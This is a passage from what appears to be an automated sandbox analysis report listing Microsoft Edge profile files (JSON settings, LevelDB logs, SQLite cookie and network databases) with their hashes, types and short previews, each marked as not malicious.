SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918403028186678
Encrypted:	false
SSDEEP:	384:jj9P0SQkQerkjly773pLDcEP/KbtPCgam6IpRKToaADhf:jd1e2mly7OEP/WF5RKc39
MD5:	1B2DD3F2140F04729453D271E105E9BA
SHA1:	BACFDAFAD44FDA2D78A469522DBCF98C54A66386
SHA-256:	3D98E9F9F6BE1D69990753D87945E489A121A50B7AE5416DCA6DC449D1ECE0E2
SHA-512:	88279D80122E6A449DD62CF6C3DBC3B8DF6B9319E6CC28AF308C75205DB91E9A541B6DF53FAC0AF2BDA384589203FA0DB2FDE4A1FDFE7FB43838846A491E0827
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.264230925285087
Encrypted:	false
SSDEEP:	12:6khDN+vVaYeb8rcHEZrELFUt8vkhVW/+vkhYV5OaYeb8rcHEZrEZSJ:8VaYeb8nZrExg8CZOaYeb8nZrEZe
MD5:	AB407B52A46BA08AA2A04304B8A06EA0
SHA1:	699C9EC1CD51B7B05CDC29CBEAE290069FD4E753
SHA-256:	90F80EA754F6A12C84B476ECFEAEEB6A372AC5AC96EACE8DB0B16DC42C3576E4
SHA-512:	387DD75372BB5722D32FD9124F7E6D6124357E79106ED148FE680011AF05F8A1D8CAB02AF3FC63EFECFE5595ECC0B652019F3CC83188CC8F579F28F20CE3EACF
Malicious:	false
Preview:	2024/10/30-10:59:28.193 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-10:59:28.194 16ec Recovering log #3.2024/10/30-10:59:28.194 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.264230925285087
Encrypted:	false
SSDEEP:	12:6khDN+vVaYeb8rcHEZrELFUt8vkhVW/+vkhYV5OaYeb8rcHEZrEZSJ:8VaYeb8nZrExg8CZOaYeb8nZrEZe
MD5:	AB407B52A46BA08AA2A04304B8A06EA0
SHA1:	699C9EC1CD51B7B05CDC29CBEAE290069FD4E753
SHA-256:	90F80EA754F6A12C84B476ECFEAEEB6A372AC5AC96EACE8DB0B16DC42C3576E4
SHA-512:	387DD75372BB5722D32FD9124F7E6D6124357E79106ED148FE680011AF05F8A1D8CAB02AF3FC63EFECFE5595ECC0B652019F3CC83188CC8F579F28F20CE3EACF
Malicious:	false
Preview:	2024/10/30-10:59:28.193 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-10:59:28.194 16ec Recovering log #3.2024/10/30-10:59:28.194 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.688942688137082
Encrypted:	false
SSDEEP:	48:AZAz6vABXZsQV03Sx44UOetpRgGHHHxda2LoEJ:Aa6vKqmFq5RxLn
MD5:	5CD97030ECB2136AFA86B7D2D2F740D2
SHA1:	8385D08F067D760922C426D24A5AB36B56FAAB01
SHA-256:	46CFFBC837FE504AAE0D577825393415000338CBEDE39BD18FB16D28091DFDAB
SHA-512:	A381AF371269B458B389CFBE9251407361DC9495CB583F1B43B6E43A785DB16EA44722398B790E4A812FF62D5F811CF3C9F740891F17462BD59892128598984E
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1730300376873.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730300379414.._https://ntp.msn.com..MUID!.07F34F268BE36FD729115A0E8A126EB4.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730300376960,"schedule":[-1,11,-1,-1,-1,24,27],"scheduleFixed":[-1,11,-1,-1,-1,24,27],"simpleSchedule":[24,16,44,42,41,25,10]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730300376843.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241029.290"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Oct 30 2024 10:59:37 GMT-0400 (Eastern Daylig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.138951610385569
Encrypted:	false
SSDEEP:	6:6k/kk39+q2PN723oH+Tcwt8a2jMGIFUt8vk/kQX3JZmw+vk/kByX9VkwON723oHr:6kMk34vVaYeb8EFUt8vkMa3J/+vkMaDu
MD5:	BF3B66981BFCE152D5A2A4D643929E96
SHA1:	9C78187A92AA93A7781F437982FFFE60D3CD1042
SHA-256:	D9CABD35E33217D6BAE0975B86CAE9511678F201567214A7B1D75D7009E8397B
SHA-512:	04673F7ECC40A4F9DDDEAB1A5698358E2194D29501F6FF6051A1973A679FA41B7BDCB538681B6D2255AB4CD8182DE877981F34F158DD4EC34F6A79F73CFFF188
Malicious:	false
Preview:	2024/10/30-10:59:23.621 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-10:59:23.623 1e28 Recovering log #3.2024/10/30-10:59:23.625 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.138951610385569
Encrypted:	false
SSDEEP:	6:6k/kk39+q2PN723oH+Tcwt8a2jMGIFUt8vk/kQX3JZmw+vk/kByX9VkwON723oHr:6kMk34vVaYeb8EFUt8vkMa3J/+vkMaDu
MD5:	BF3B66981BFCE152D5A2A4D643929E96
SHA1:	9C78187A92AA93A7781F437982FFFE60D3CD1042
SHA-256:	D9CABD35E33217D6BAE0975B86CAE9511678F201567214A7B1D75D7009E8397B
SHA-512:	04673F7ECC40A4F9DDDEAB1A5698358E2194D29501F6FF6051A1973A679FA41B7BDCB538681B6D2255AB4CD8182DE877981F34F158DD4EC34F6A79F73CFFF188
Malicious:	false
Preview:	2024/10/30-10:59:23.621 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-10:59:23.623 1e28 Recovering log #3.2024/10/30-10:59:23.625 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2f52c1d0-5993-4878-b2ba-9e712f628bcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\313ab870-34f1-4a35-9f6c-40041a7556da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1727
Entropy (8bit):	5.299598403885685
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFUttsFUsfc7kBRs2FCgHFs+CgH1Yhbj:F2fS2SH2kBbFTpTyh/
MD5:	F117FBAD7DD08125507155EC483E6EF8
SHA1:	0103BE1BAA69B2887252C0344E21ADE26087879A
SHA-256:	7A5D869BF2DB13782EE440686D42DD645FDBF710037002135544CF968E6A9AE9
SHA-512:	4360DBF67AB3C3038F0F6F2B67B0242A8CD51A0410BBE4B87EB63533B52D472D421BF39B74B5B14AE64DD054AB66A64DF51EAA7795B17D523AB1C82A1D2EC91F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377365966365147","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377365969400923","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\34ae6555-d5c6-4c0d-a19e-58ddd91ad376.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\46dece3a-5d23-4799-84d4-ca99f67ce8bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\93e6a689-77b8-4c32-a685-9f3c4d101a7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.30841395953353
Encrypted:	false
SSDEEP:	192:nPjBGH0B/zbl0fmxKRt+wXSUmMjjJIHbjQwmO3JB:PjoH0B7bl0fAKRt+wXVmMjjJIycB
MD5:	A156AFAB7274233E6D389E330899007E
SHA1:	3F925DF4B3ABE22BD4C28F925D25F9C11A60B06F
SHA-256:	6C6BD98DF13416F8BA4C3E1AD5EB488D011FDD5A815A9A515D6B7A122E8BD953
SHA-512:	A56E1737EDB124B4BD6A804552610042CBDE709D936AE7B6884B8515D11042EEE0AE0E38BF82BC143DA34C3B79062E6B5A07DD0D7EE7A3B76B4E5AB23F9A2095
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF44245.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c4b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.6325117161317488
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6Uei1moIUaOS1Uscmy1a:+IEumQv8m1ccnvS6aAoNab1Qmx
MD5:	CCC4CD262F7A2BAAFBA9BCD715C5185B
SHA1:	D4F88E53F79F83E40035CD027FEBCDCE6A5D9A37
SHA-256:	4C07C182D923CE71EA8170C7CD9A373689948E98D0B4DEA6CC06C78A3DF1FC53
SHA-512:	0AFA71FCA7BB30D431FB0AB362278A7914FB8B701377401CB0DEC36FCE1601506063161D0296392B8DD8A5D0E0164756EA37519A4A05FE340A9D386398F92BE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bb71.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ca08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff5699ae-c0f9-4ced-82f2-c7f26f6653ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
